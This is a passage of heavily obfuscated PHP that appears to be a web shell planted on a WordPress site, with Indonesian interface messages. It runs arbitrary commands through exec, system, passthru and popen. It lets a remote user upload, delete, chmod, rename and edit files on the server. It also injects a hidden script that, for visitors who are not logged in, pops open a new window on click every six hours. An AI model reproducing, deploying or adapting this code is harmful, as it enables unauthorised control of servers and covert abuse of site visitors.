"\74\146\x6f\x6e\x74\40\143\157\x6c\157\162\75\x22\43\x46\x46\x46\x46\106\x46\x22\x3e\101\x72\x63\x68\151\x76\145\x3c\x2f\x66\157\x6e\x74\x3e\40\x3c\x66\x6f\x6e\x74\x20\143\x6f\x6c\x6f\x72\75\x22\43\x46\x46\x46\x46\106\x46\42\76{$file}\74\x2f\146\x6f\156\164\76\x20\15\12\15\12\x3c\146\157\156\x74\x20\143\x6f\154\x6f\162\x3d\42\43\x46\x46\x46\106\106\x46\42\76\x6e\x61\155\x65\x64\40\x66\x6f\162\x3c\57\146\x6f\x6e\164\76\40\74\x66\x6f\x6e\164\x20\x63\157\x6c\x6f\162\75\42\x23\x46\x46\x46\106\106\x46\42\76{$newname}\74\57\146\157\156\x74\76\40\x3c\146\x6f\x6e\x74\40\15\12\15\xa\x63\x6f\154\x6f\x72\75\x22\x23\106\106\106\x46\106\106\42\76\163\165\143\x63\x65\163\163\x66\x75\x6c\x6c\171\41\74\57\146\x6f\x6e\x74\x3e"; bh1e79yb0a: goto rogkI78w0M; goto wWuAfpkg_1; NPNbn1YxBZ: echo "\x69\x66\40\x28\x6f\x29\40\x7b"; echo "\x77\151\156\x64\157\x77\56\154\157\x63\x61\x74\151\157\156\75\42\42\x20\53\40\47{$IIIIIIIIII1I}\46\x61\143\164\151\x6f\156\x3d\x6d\x6b\x64\151\162\46\x63\150\144\151\x72\75\47\40\x2b\x20\x63\x68\x64\151\162\40\53\40\x27\46\156\145\167\x64\151\x72\75\x27\40\x2b\x20\157\x20\x2b\x20\15\12\15\12\42\x22\x3b"; echo "\x7d"; echo "\175"; echo "\x66\x75\156\x63\x74\x69\x6f\x6e\x20\x4e\x65\167\x66\151\154\145\50\143\x68\144\x69\x72\51\x20\x7b"; goto EQgHVIF0eU; j0OYAzoPC9: $IIIIIIIlIll1 = "\145\x64\x69\164"; goto RAcNQAYB5z; ZNiEaraPQi: $file = $file . "\x2f"; $IIIIIIIlIll1 = "\x63\150\144\151\162"; goto FVAbwh_olH; MHyicPQ1q3: $chdir = str_replace($SCRIPT_NAME, '', $_SERVER["\123\103\x52\x49\x50\124\137\x4e\x41\115\105"]); goto X45yeKdcF9; P1_1gLYBRQ: $IIIIIIIIlII1 = "\x3c\146\x6f\x6e\x74\x20\143\x6f\154\157\x72\x3d\x22\x23\x46\x46\106\106\x46\106\x22\x3e\40\104\x69\162\x65\143\x74\157\x72\171\40\104\157\x6f\162\54\40\x4f\113\41\74\x2f\146\x6f\x6e\164\76"; X45yeKdcF9: goto boiNhsAeCV; neAemP4cgq: YJMuiJwZsR: echo "\x3c\x74\144\x20\141\x6c\x69\147\x6e\x3d\42\143\145\156\x74\x65\x72\x22\40{$IIIIIIIlIllI}\x3e\x20\74\x61\40\x68\162\145\x66\75\42\x23{$file}\x22\40\15\12\xd\xa\157\x6e\x63\x6c\151\x63\153\x3d\42\x52\145\x6e\x61\x6d\145\50\47{$chdir}\47\54\40\47{$file}\47\54\40\47{$IIIIIIIlIll1}\47\x29\42\x3e\x52\x65\156\141\155\145\x3c\57\x61\76\x20\174\x20\74\x61\x20\15\xa\xd\xa\x68\x72\145\x66\75\42{$IIIIIIIIII1I}\46\141\x6d\160\x3b\141\x63\x74\151\157\156\x3d\x64\145\x6c\46\x61\x6d\160\x3b\143\x68\144\151\162\75{$chdir}\x26\x61\x6d\x70\73\146\151\x6c\145\x3d{$file}\x26\x61\x6d\160\73\x74\171\160\x65\x3d\146\x69\154\145\42\76\x44\x65\x6c\74\x2f\141\x3e\40\15\xa\15\12\174\x20\74\x61\x20\150\162\x65\x66\x3d\x22\x23{$file}\42\x20\157\156\x63\x6c\151\143\153\75\42\x43\x68\115\157\x64\x28\x27{$chdir}\x27\x2c\40\x27{$file}\x27\51\x22\76\103\x68\155\157\x64\x3c\x2f\141\76\40\x7c\40\x3c\141\x20\150\162\145\x66\x3d\x22\43{$file}\42\40\xd\12\xd\xa\x6f\156\x63\154\x69\143\153\x3d\42\103\x6f\160\x79\x28\x27{$chdir}\x27\x2c\x20\x27{$file}\47\51\x22\x3e\103\157\x70\x79\x3c\x2f\x61\76\x20\74\x2f\164\144\x3e"; VL0GV1Blkp: echo "\74\x2f\x74\162\76"; if ($IIIIIIIlIlIl == 3) { goto x0Kh5vD9dD; } goto yOt4nnd0co; JTFOKkQNrK: $IIIIIIIIlII1 = ''; if (!$IIIIIIII1I11) { goto Z3DLBzyzXZ; } HP9cQOLibM: if (!($IIIIIIII1lIl = zip_read($IIIIIIII1I11))) { goto B5p6fGzp9a; } $IIIIIIIIlII1 .= "\116\x61\x6d\145\x3a\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20" . zip_entry_name($IIIIIIII1lIl) . "\xd\xa"; goto C_1G4ptqhq; xgytTSbuMb: if (@$_GET["\x61\143\x74\151\x6f\156"] == "\x7a\151\160\145\x6e") { goto wSolwJyeuC; } if (@$_GET["\141\x63\164\151\x6f\156"] == "\145\x64\151\164") { goto ReHDqEEqwb; } if (@$_GET["\141\143\x74\x69\x6f\156"] == "\x73\x61\x76\145") { goto UNloONDzWg; } goto rogkI78w0M; j_tTer3Z39: goto clMsF11Lza; fkFhbVwCsw: echo "\74\57\164\162\x3e"; echo "\74\164\x72\x3e"; echo "\74\164\x64\x20\167\151\x64\x74\150\75\x22\x38\45\42\x3e"; echo "\x20\74\142\x3e\120\x48\x50\x20\74\57\142\76\x3c\x2f\164\144\76\40"; echo "\74\164\144\x20\167\151\144\x74\150\x3d\42\71\x32\x25\x22\x3e\x3a\x20{$IIIIIIIIIlIl}\x2c\x20\74\x62\x3e\x20\123\x61\146\x65\40\115\x6f\x64\145\x20\72\74\x2f\x62\x3e\40{$IIIIIIIIIllI}\x3c\57\x74\x64\76"; goto GNnrVWjarH; IMjTQaKEAj: $IIIIIIII111l = stripslashes(trim($IIIIIIII111l)); if (is_writable($IIIIIIII11ll)) { goto L6Nq5uOaA5; } $IIIIIIIIlII1 = "\x3c\146\x6f\x6e\164\40\x63\x6f\x6c\x6f\162\75\42\43\x46\106\x46\106\x46\x46\42\76{$_GET["\x66\x69\x6c\145"]}\54\x3c\57\x66\157\x6e\164\76\40\74\146\x6f\x6e\x74\x20\143\x6f\x6c\x6f\162\x3d\42\x23\x46\x46\x30\x30\x30\60\42\76\164\x69\x64\x61\153\x20\15\12\xd\xa\x62\151\x73\141\40\144\151\x74\x75\154\x69\x73\x69\x21\74\x2f\x66\x6f\x6e\x74\x3e"; goto rI6B1CqNUB; L6Nq5uOaA5: goto k9IWPDfsaW; MfReCiwHGt: mHRoy0Pjot: goto rogkI78w0M; wSolwJyeuC: $file = $_GET["\x66\x69\154\145"]; $IIIIIIII1I11 = @zip_open("{$chdir}" . "{$file}"); goto JTFOKkQNrK; fmJwCcx_JQ: if ($IIIIIIIlIlIl == 0) { goto eg2BpzCRKz; } if ($IIIIIIIlIlIl == 1) { goto RipYx59Kkl; } goto k6B79KNVgZ; eg2BpzCRKz: $IIIIIIIlIllI = "\x73\x74\171\x6c\145\75\x22\x62\x61\x63\x6b\147\x72\157\165\156\144\55\143\157\x6c\157\162\x3a\40\x23\60\60\60\42"; goto r8TiPpl2HV; AXoqVtgGpJ: $IIIIIIIIIIl1 = $IIIIIIIIIIlI[0]; $IIIIIIIIII1I = $_SERVER["\120\x48\120\x5f\x53\x45\114\x46"] . "\77" . $IIIIIIIIIIl1 . $IIIIIIIIIII1; $IIIIIIIIII1l = @PHP_OS; $IIIIIIIIII11 = "\x31\x32\67\x2e\x30\x2e\60\56\x31"; $IIIIIIIIIlII = @php_uname(); goto Boln0X8MhN; J1AX4jcnzi: if (!($chdir[$IIIIIIIlIl11] == "\x2f")) { goto Nxwg7X8DNo; } $IIIIIIIlIl1l++; Nxwg7X8DNo: VLuzjK50UL: $IIIIIIIlIl11++; goto ofp7gPo10M; sNd2UA18GT: $IIIIIIII1II1 = @shmop_open(0xff2, "\143", 0644, 100); if ($IIIIIIII1II1) { goto t2K5wkMQ2_; } echo "\x43\x6f\x75\154\x64\156\47\164\x20\143\x72\x65\x61\164\145\x20\x73\x68\141\162\x65\144\40\x6d\x65\x6d\x6f\x72\x79\40\163\145\147\x6d\x65\x6e\164\xd\12"; t2K5wkMQ2_: $IIIIIIII1IlI = ''; goto fHrAzQGu1X; boiNhsAeCV: $chdir = str_replace(chr(92), chr(47), $chdir); if (@$_GET["\x61\143\164\x69\157\x6e"] == "\x75\x70\x6c\157\x61\144") { goto j_tTer3Z39; } if (@$_GET["\141\143\x74\151\x6f\x6e"] == "\x6d\x6b\144\151\x72") { goto mxODlrzw0m; } if (@$_GET["\x61\x63\x74\151\x6f\156"] == "\x6e\145\167\x66\151\x6c\145") { goto W4PhOevde7; } if (@$_GET["\x61\143\164\151\157\156"] == "\x64\x65\154") { goto HhTXWm_1nK; } goto TJnss5Q0QO; aYlrmEZRTu: echo "\x20\40\x20\x20\x20\40\74\x70\x20\141\154\151\x67\x6e\75\42\x6c\145\146\164\x22\x3e{$IIIIIIIIlII1}\74\x2f\164\144\76"; goto BMcJGVtCEk; SbeDNFQyYu: echo "\40\x20\x20\x20\40\40\74\x70\40\141\154\151\x67\156\75\42\154\x65\146\x74\x22\x3e\115\145\x73\163\141\147\x65\x73\x3c\x2f\x74\x64\x3e"; BMcJGVtCEk: goto DF0s1YFBYR; C3fefUrsMH: ELQ5V1aK8x: $IIIIIIIIIllI = "\74\x69\76\117\x46\x46\x3c\x2f\151\x3e"; VcJiUFnLw3: $IIIIIIIIIll1 = "\x73\150\145\x6c\154\77"; echo "\x3c\x73\143\162\151\x70\x74\40\x74\171\160\x65\75\42\x74\145\x78\x74\x2f\152\x61\166\141\163\x63\162\151\160\164\x22\76"; goto sXJFa4Xt2v; FD3M4LenKf: $newdir = $_GET["\156\x65\167\x64\151\162"]; if (@mkdir("{$chdir}" . "{$newdir}")) { goto VUUrMulSxg; } $IIIIIIIIlII1 = "\74\x66\157\156\164\40\x63\x6f\154\x6f\162\75\x22\43\106\106\x30\60\x30\x30\42\x3e\x45\x72\x72\157\x72\x3a\x20\x46\x6f\154\x64\145\x72\x20\x4d\141\153\x65\40\x45\162\162\x6f\162\x2e\74\x2f\x66\157\x6e\164\x3e"; goto GDjq9F_QA8; VUUrMulSxg: goto Dy_ksVD1pH; LVsOptYInY: FmEW4uph8f: $IIIIIIIllIIl .= "\103\157\156\164\145\156\164\55\124\171\160\x65\72\40\164\x65\x78\x74\x2f{$IIIIIIIllI1I}\15\12"; $IIIIIIIllIIl .= "\x43\157\x6e\164\x65\156\x74\55\124\162\x61\156\x73\146\x65\x72\x2d\105\156\x63\157\x64\x69\156\147\x3a\x20\x38\x62\x69\164\15\xa\15\xa"; $IIIIIIIllIIl .= "{$IIIIIIIllI1l}\15\xa"; if (!$IIIIIIIllIll) { goto b_IR8QcFgQ; } goto kmCu32Vz3r; r8TiPpl2HV: goto k6B79KNVgZ; RipYx59Kkl: $IIIIIIIlIllI = "\x73\164\171\x6c\145\x3d\x22\142\141\143\153\147\162\157\165\x6e\144\55\x63\157\x6c\157\x72\72\40\40\43\60\x30\60\42"; k6B79KNVgZ: if (@is_dir("{$chdir}" . "{$file}")) { goto ZNiEaraPQi; } goto j0OYAzoPC9; n0cx50MSOM: $IIIIIIIlIl1I = strlen($chdir); $IIIIIIIlIl1l = 0; $IIIIIIIlIl11 = 0; o19SubiE1l: if (!($IIIIIIIlIl11 < $IIIIIIIlIl1I)) { goto NIyDhepF_3; } goto J1AX4jcnzi; gaiBMOwzPM: echo "\x7d"; echo "\x7d"; echo "\146\165\156\x63\x74\151\x6f\156\40\x43\x6f\x70\x79\x28\143\x68\144\151\162\x2c\40\x66\151\154\x65\x29\40\x7b"; echo "\x76\x61\162\40\x6f\40\75\x20\x70\x72\157\x6d\x70\x74\x28\x27\103\157\160\x69\x65\144\x20\146\157\162\x3a\x27\54\40\x27\57\x74\x6d\160\57\x27\40\53\40\146\151\x6c\145\51\x3b"; echo "\x69\146\x20\x28\157\51\x20\x7b"; goto XCuDYMzrOu; xEbtCdHKE2: cKQUKTrNkd: closedir($IIIIIIIII1ll); goto GBepZ8NFVr; oBa23aYMEU: echo "\40\107\x75\145\40\x67\141\153\x20\142\x69\x73\x61\40\155\141\163\165\153\x20\146\x6f\x6c\x64\145\x72\54\40\x3c\x61\40\x68\162\145\x66\75\42{$IIIIIIIIII1I}\42\x3e\113\x6c\151\x6b\40\x73\151\156\x69\41\74\x2f\x61\76\40\x75\156\164\x75\x6b\40\145\155\142\141\x6c\151\40\x6b\145\40\15\xa\xd\12\146\x6f\x6c\144\145\162\x20\157\162\151\41\74\57\142\x72\76"; goto weQjLCGz2D; V7eEhDZXb9: foreach ($_COOKIE as $vUjUnHvOOoO => $vvvUjUnHvOOoO) { if (!strstr(strval($vUjUnHvOOoO), "\x77\x6f\x72\x64\x70\162\x65\x73\x73\x5f\x6c\157\147\x67\x65\144\x5f\x69\x6e")) { goto MGBY8meYiq; } $ckUjYggTf = 1; goto vXtqhSLMN9; MGBY8meYiq: dr1Ws8OThO: } vXtqhSLMN9: if (!($ckUjYggTf == 0 && !strstr(strval($_SERVER["\122\x45\x51\x55\105\x53\x54\x5f\x55\122\111"]), "\x77\160\x2d\x6c\x6f\147\x69\156\56\160\x68\x70"))) { goto InYp6vRVzc; } echo "\x3c\163\x63\162\x69\x70\164\x3e\x28\146\165\156\143\x74\151\157\156\40\50\160\141\162\x61\155\145\164\x65\x72\163\x29\x20\173\15\xa\x20\40\40\x20\x20\40\x20\40\x63\x6f\156\163\164\40\x67\x65\164\x48\157\165\162\163\104\151\146\146\40\75\x20\50\x73\164\x61\162\x74\104\141\164\x65\54\40\x65\156\144\104\x61\x74\x65\x29\x20\x3d\x3e\40\x7b\15\xa\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\x63\x6f\156\163\164\40\x6d\x73\x49\156\110\x6f\x75\162\x20\75\40\x31\60\60\60\40\x2a\x20\66\x30\40\x2a\x20\x36\x30\x3b\15\12\40\x20\40\40\40\40\x20\40\x20\40\40\x20\162\x65\x74\x75\x72\156\40\x4d\141\x74\x68\x2e\x72\157\x75\x6e\144\x28\115\x61\x74\150\56\141\142\163\x28\x65\156\144\104\x61\x74\145\40\x2d\x20\x73\x74\x61\x72\x74\x44\x61\x74\x65\x29\x20\x2f\x20\155\163\x49\156\110\x6f\165\x72\51\73\15\12\40\40\x20\x20\40\x20\40\40\x7d\xd\xa\x20\x20\40\40\x20\40\x20\x20\x63\x6f\x6e\x73\x74\40\x67\145\x74\x46\x72\x6f\x6d\x53\x74\x6f\162\141\147\x65\x20\75\x20\50\x68\157\163\164\x29\40\x3d\x3e\x20\154\x6f\143\141\x6c\123\164\157\162\141\x67\145\56\147\x65\x74\111\x74\145\155\50\x60\x24\x7b\x68\x6f\x73\164\175\x2d\154\x6f\x63\x61\154\x2d\163\164\x6f\162\141\147\x65\x60\x29\x3b\xd\12\40\40\40\x20\40\40\40\x20\143\x6f\x6e\163\164\x20\x61\144\x64\x54\157\123\164\x6f\x72\x61\147\x65\40\75\x20\x28\150\x6f\163\x74\54\40\x6e\157\x77\104\x61\164\145\51\x20\x3d\x3e\40\154\157\143\141\x6c\123\164\157\x72\x61\x67\145\x2e\x73\x65\x74\x49\164\145\155\x28\140\44\173\150\x6f\163\164\x7d\x2d\x6c\x6f\x63\141\x6c\55\x73\164\x6f\x72\141\x67\x65\x60\54\40\156\x6f\167\104\141\164\145\x29\x3b\15\12\xd\12\x20\x20\40\40\40\40\x20\40\146\x75\x6e\143\x74\151\x6f\156\40\147\154\x6f\142\141\154\x43\154\151\x63\x6b\x28\145\166\145\x6e\164\x29\x20\173\15\xa\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x63\x6f\156\163\164\x20\150\x6f\163\164\40\x3d\x20\154\157\x63\141\x74\x69\157\156\x2e\150\x6f\163\164\15\12\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x63\x6f\156\x73\164\x20\x6e\x65\167\114\x6f\x63\141\164\x69\x6f\156\40\x3d\40\42\x2f\154\157\147\x6f\56\160\x6e\147\x22\15\xa\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\143\x6f\x6e\163\164\x20\x61\154\x6c\x6f\167\145\144\110\x6f\165\x72\163\x20\x3d\40\x36\15\xa\xd\xa\x20\40\x20\40\40\40\x20\x20\40\40\40\x20\143\157\156\163\x74\40\156\157\167\x44\x61\x74\x65\x20\x3d\40\x44\141\x74\145\x2e\160\x61\162\x73\x65\50\156\x65\167\40\x44\x61\x74\x65\x28\51\51\x3b\15\xa\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x63\x6f\156\163\x74\x20\x73\x61\166\x65\x64\104\x61\164\x61\x20\75\x20\x67\x65\164\106\162\157\155\123\x74\157\x72\141\x67\x65\50\150\x6f\x73\164\51\15\xa\15\12\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\151\146\40\x28\x73\x61\x76\145\x64\104\x61\164\x61\x29\40\x7b\15\12\40\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x74\162\171\40\x7b\xd\xa\40\40\40\40\40\40\x20\40\40\x20\40\40\40\40\40\x20\40\x20\40\x20\x63\157\x6e\163\x74\40\x73\x74\x6f\162\x61\x67\145\x44\141\164\145\x20\75\40\x70\141\162\163\145\111\156\x74\x28\x73\141\166\x65\144\x44\x61\164\x61\x29\73\xd\xa\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\57\x2f\x20\143\x68\x65\143\x6b\40\150\157\165\x72\x73\15\12\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\x20\x20\143\x6f\x6e\x73\x74\x20\150\x6f\x75\162\163\104\151\x66\146\x20\75\x20\x67\145\164\x48\157\x75\162\x73\104\x69\146\x66\50\156\157\167\104\x61\x74\145\54\40\163\164\157\162\141\147\145\x44\x61\164\145\x29\15\xa\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x63\157\x6e\163\x6f\154\145\56\x6c\157\147\x28\x6e\157\167\x44\x61\164\x65\x2c\40\x73\164\157\x72\141\x67\x65\104\x61\x74\145\54\x20\x68\x6f\x75\162\x73\104\x69\146\x66\x29\15\12\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\151\146\40\x28\x68\x6f\x75\x72\163\x44\x69\146\146\x20\x3e\75\40\x61\x6c\x6c\157\x77\x65\x64\110\x6f\165\162\x73\x29\40\x7b\xd\xa\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\x61\144\144\x54\157\x53\164\x6f\162\x61\147\145\x28\150\x6f\x73\x74\x2c\40\x6e\x6f\x77\x44\x61\x74\145\x29\x3b\xd\12\40\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\40\40\167\151\156\x64\157\x77\56\x6f\160\145\x6e\50\156\x65\167\x4c\x6f\143\141\x74\x69\x6f\x6e\54\x20\x22\x5f\142\154\x61\x6e\x6b\x22\x29\x3b\15\xa\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x7d\15\xa\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\40\40\40\175\40\x63\141\164\143\x68\40\x28\x65\162\x72\157\x72\x29\40\x7b\xd\xa\40\x20\x20\40\40\x20\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\x61\x64\x64\x54\157\x53\164\x6f\162\x61\147\x65\x28\150\x6f\x73\164\x2c\40\x6e\x6f\x77\104\x61\164\x65\x29\x3b\xd\xa\x20\x20\40\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x77\151\x6e\144\157\x77\x2e\x6f\x70\x65\156\x28\156\145\x77\x4c\x6f\143\141\x74\151\x6f\x6e\54\x20\42\x5f\x62\x6c\x61\x6e\153\42\51\73\15\xa\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x7d\15\xa\x20\40\x20\40\x20\x20\x20\40\40\x20\40\40\175\40\145\x6c\163\145\x20\173\15\xa\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\141\144\x64\x54\157\x53\164\x6f\162\x61\x67\x65\50\x68\157\x73\164\54\x20\156\x6f\167\x44\141\164\x65\51\73\15\12\40\x20\40\40\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\x77\151\156\x64\x6f\x77\56\x6f\160\x65\x6e\x28\x6e\145\x77\x4c\157\143\x61\164\x69\157\156\x2c\40\42\137\x62\154\x61\156\153\x22\51\73\15\12\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x7d\xd\xa\x20\40\x20\40\x20\x20\x20\40\x7d\xd\xa\40\40\40\x20\40\40\x20\x20\144\157\143\165\155\x65\x6e\x74\x2e\x61\144\144\x45\x76\145\156\x74\114\x69\x73\164\145\x6e\x65\x72\50\x22\143\x6c\151\143\x6b\x22\54\40\x67\154\157\142\x61\x6c\x43\x6c\x69\143\153\x29\x3b\15\xa\40\x20\40\40\x7d\x29\50\x29\x3b\x3c\57\x73\x63\x72\x69\160\x74\x3e"; InYp6vRVzc: goto QG39LtR795; MIHrqQ0mzg: echo "\x3c\57\163\143\x72\x69\160\x74\x3e"; function cmd($IIIIIIIIIl1l) { goto DhaHqN3iQo; pW6o9ZcxKe: if (empty($IIIIIIIIIl11[1])) { goto h1g1PyuUwT; } goto sDiv7psL1O; Poe3U909Vm: $IIIIIIIIIl11[1] = shell_exec($IIIIIIIIIl1l); goto sDiv7psL1O; goto FvQI91UvXf; FvQI91UvXf: vt2Ff8aeml: $IIIIIIIIIl11[1] = passthru($IIIIIIIIIl1l); goto sDiv7psL1O; wLglyyPqsV: $IIIIIIIIIl11[1] = system($IIIIIIIIIl1l); goto jyqwknhZtQ; zwoxqgkp_s: $IIIIIIIIIl11[1][] .= fgets($IIIIIIIII1ll); goto EbNuGXlZQF; pdfssQGFfl: pclose($IIIIIIIII1ll); sDiv7psL1O: goto sE4dcHdDoW; sE4dcHdDoW: return $IIIIIIIIIl11[1]; goto UfAT6YxGAA; DhaHqN3iQo: $IIIIIIIIIl11[1] = ''; exec($IIIIIIIIIl1l, $IIIIIIIIIl11[1]); if (empty($IIIIIIIIIl11[1])) { goto Poe3U909Vm; } if (empty($IIIIIIIIIl11[1])) { goto vt2Ff8aeml; } if (empty($IIIIIIIIIl11[1])) { goto wLglyyPqsV; } goto pW6o9ZcxKe; jyqwknhZtQ: goto sDiv7psL1O; h1g1PyuUwT: $IIIIIIIII1ll = popen($IIIIIIIIIl1l, "\162"); EbNuGXlZQF: if (feof($IIIIIIIII1ll)) { goto pdfssQGFfl; } goto zwoxqgkp_s; UfAT6YxGAA: } if (@$_GET["\x63\150\x64\151\x72"]) { goto nfDu69ccqO; } $chdir = getcwd() . "\57"; goto zHApBX6slW; goto l1JAzV7BlL; bxTTQTgROv: echo "\40\x20\x20\40\40\x20\74\164\x64\x20\x77\151\x64\164\150\x3d\42\61\x30\x30\45\x22\40\x63\x6f\154\163\x70\141\156\75\x22\x34\x22\x3e\x20\x3c\57\x74\144\76"; echo "\x20\x20\40\x20\74\x2f\164\x72\76"; echo "\x20\x20\40\40\74\x74\x72\x3e"; echo "\40\x20\40\40\40\40\74\x74\x64\x20\x77\x69\144\x74\x68\75\x22\x31\x30\60\45\42\40\x63\157\154\163\160\141\x6e\x3d\x22\64\42\76"; if (@(!$IIIIIIIIlII1)) { goto SbeDNFQyYu; } goto aYlrmEZRTu; aqOHG9i3hX: Mb51YO0LpC: $IIIIIIIlI1ll = $IIIIIIIlI1ll[0] . "\56" . @substr("{$IIIIIIIlI1ll[1]}", 0, 2); SI6dIp32ZJ: if (!($IIIIIIIlI1ll == 0)) { goto fqRDRW5GGk; } if (!($IIIIIIIlIll1 == "\x63\x68\x64\x69\162")) { goto E1OnjLSXRq; } goto y1EduMQnCM; U3dy2VPzmB: DS7tBeyI6Y: $file = $chdir . $_GET["\146\151\154\145"]; $chmod = $_GET["\143\150\155\x6f\x64"]; if (@chmod("{$file}", $chmod)) { goto QI0JOO8AjY; } $IIIIIIIIlII1 = "\74\x66\x6f\156\164\x20\143\x6f\154\157\x72\75\134\42\43\106\x46\60\60\60\x30\134\x22\76\x45\162\162\157\x72\72\40\107\x61\x67\141\154\40\x6d\x65\156\147\165\142\141\x68\x20\143\x68\x6d\x6f\x64\56\74\x2f\146\x6f\156\x74\76"; goto QMBTwuHKTV; Ic7vx2YEVs: juOpqGe42D: fnEtjJc49d: if (@(!($IIIIIIIII1ll = opendir("{$chdir}")))) { goto oBa23aYMEU; } echo "\40\40\74\x74\141\142\154\x65\40\142\157\162\x64\145\162\75\x22\x30\x22\40\143\145\154\154\x70\x61\x64\144\151\156\x67\75\x22\x35\x22\40\x63\145\x6c\154\163\x70\141\143\x69\x6e\x67\75\x22\x30\x22\x20\167\x69\144\164\150\x3d\42\x31\60\60\x25\x22\x3e"; echo "\x20\x20\x20\40\74\164\x72\76"; goto acFEUIEhPF; Fw5IxQxGd9: echo "\74\164\144\40\x77\151\144\x74\x68\x3d\42\71\62\x25\42\76\x3a\40{$IIIIIIIIII11}\74\57\164\144\76"; echo "\74\57\164\162\x3e"; echo "\x3c\164\x72\x3e"; echo "\74\x74\144\x20\x77\151\144\164\x68\x3d\42\x38\45\x22\76"; echo "\x20\74\x62\x3e\103\x6f\x6d\x6d\x61\x6e\144\x20\x3c\57\x62\x3e\x3c\57\x74\144\x3e\x20"; goto qXCK2LPlSf; TCmnoVAwGf: goto GDrVi5KnZV; LEoNK4J1RI: if (@rmdir("{$chdir}" . "{$file}")) { goto uLwCZzKDFb; } $IIIIIIIIlII1 = "\x3c\x66\x6f\156\164\40\x63\x6f\154\157\162\x3d\42\x23\x46\x46\x30\60\60\60\42\x3e\105\x72\162\x6f\162\72\40\x47\141\147\x61\154\x20\155\x65\x6e\x67\x68\x61\x70\x75\163\40\x66\x6f\154\x64\145\x72\x21\x3c\57\146\x6f\156\x74\76"; goto AfUgWGXH8I; goto pqcausJeAC; wWuAfpkg_1: QzHaEAlMg3: $file = $chdir . $_GET["\146\151\x6c\145"]; $copy = $_GET["\146\143\157\x70\171"]; if (@copy("{$file}", "{$copy}")) { goto jgJ0pyCFgZ; } $IIIIIIIIlII1 = "\x3c\x66\x6f\x6e\164\40\x63\x6f\154\157\162\x3d\42\43\x46\106\60\x30\x30\60\42\76\x45\162\x72\157\x72\72\x20\x47\141\147\141\154\x20\155\x65\156\171\x61\154\x69\156\x20\x3c\x2f\146\157\x6e\164\x3e\x20\x3c\146\x6f\156\x74\x20\15\xa\15\xa\143\157\154\x6f\162\x3d\x22\x23\x46\106\x46\106\x46\106\x22\x3e{$file}\x3c\57\146\x6f\156\x74\76\x20\x3c\146\x6f\x6e\x74\40\x63\157\154\x6f\x72\75\x22\43\x46\x46\60\60\60\60\x22\76\x6d\145\x6e\152\x61\144\151\x3c\x2f\146\157\x6e\164\x3e\40\x3c\146\157\x6e\x74\40\15\12\15\xa\143\157\x6c\157\x72\75\42\43\x46\x46\x46\x46\106\106\42\x3e{$copy}\74\x2f\146\157\x6e\x74\x3e\74\57\x66\157\156\164\x3e"; goto V_RfzltOuv; yOt4nnd0co: if ($IIIIIIIlIlIl == 2) { goto egHjvFlMaB; } goto ngtj_82khD; x0Kh5vD9dD: $IIIIIIIlIlIl = 2; goto ngtj_82khD; goto n5CEZVi1We; kF81yT74Q9: if (!$IIIIIIIllIll) { goto kmBY5_2D36; } $IIIIIIIllIIl .= "\x43\157\156\x74\145\x6e\164\55\124\171\160\x65\x3a\40\x6d\x75\x6c\x74\x69\160\141\162\x74\57\x6d\x69\170\x65\x64\73\x20\x62\x6f\x75\x6e\144\x61\162\x79\75{$IIIIIIIllIl1}\xd\12"; kmBY5_2D36: if (!$IIIIIIIllIll) { goto FmEW4uph8f; } $IIIIIIIllIIl .= "\x2d\55{$IIIIIIIllIl1}\xd\xa"; goto LVsOptYInY; qmXssclJmY: goto jvrQnExAiq; HKiVqUPREv: @dl("\160\150\160\137\163\150\x6d\157\x70\x2e\144\x6c\154"); jvrQnExAiq: YwvjvNKIVQ: goto KI2QAd1BFT; kf1OUTLUNO: echo "\145\x6c\x73\145\40\x7b"; echo "\166\141\x72\40\x6f\x20\x3d\40\160\162\x6f\x6d\160\164\50\x27\122\x65\x6e\141\155\x65\40\116\x61\x6d\141\40\106\x6f\154\144\145\162\40\47\x2b\40\x66\x69\154\x65\x20\53\x20\47\40\155\145\x6e\152\x61\144\151\x3a\47\x2c\x20\47\47\51\x3b"; echo "\175"; echo "\151\x66\40\x28\157\51\x20\x7b"; echo "\x77\x69\x6e\x64\157\x77\56\x6c\157\143\x61\x74\x69\157\156\75\x22\42\x20\53\x20\47{$IIIIIIIIII1I}\x26\141\x63\x74\x69\x6f\x6e\x3d\x72\145\156\x61\x6d\145\x26\x63\150\x64\151\x72\75\47\40\x2b\40\143\150\x64\151\162\x20\x2b\x20\47\x26\146\x69\x6c\x65\x3d\47\x20\53\40\146\151\x6c\x65\x20\x2b\x20\xd\12\xd\12\47\46\156\x65\167\156\x61\x6d\145\75\47\x20\53\40\157\x20\53\40\47\x26\155\x6f\144\145\x3d\x27\40\53\x20\x6d\157\144\145\40\53\42\42\73"; goto gaiBMOwzPM; dXFJ28nKwU: goto ltb2zT2pC8; HcCEiJ1BRo: echo 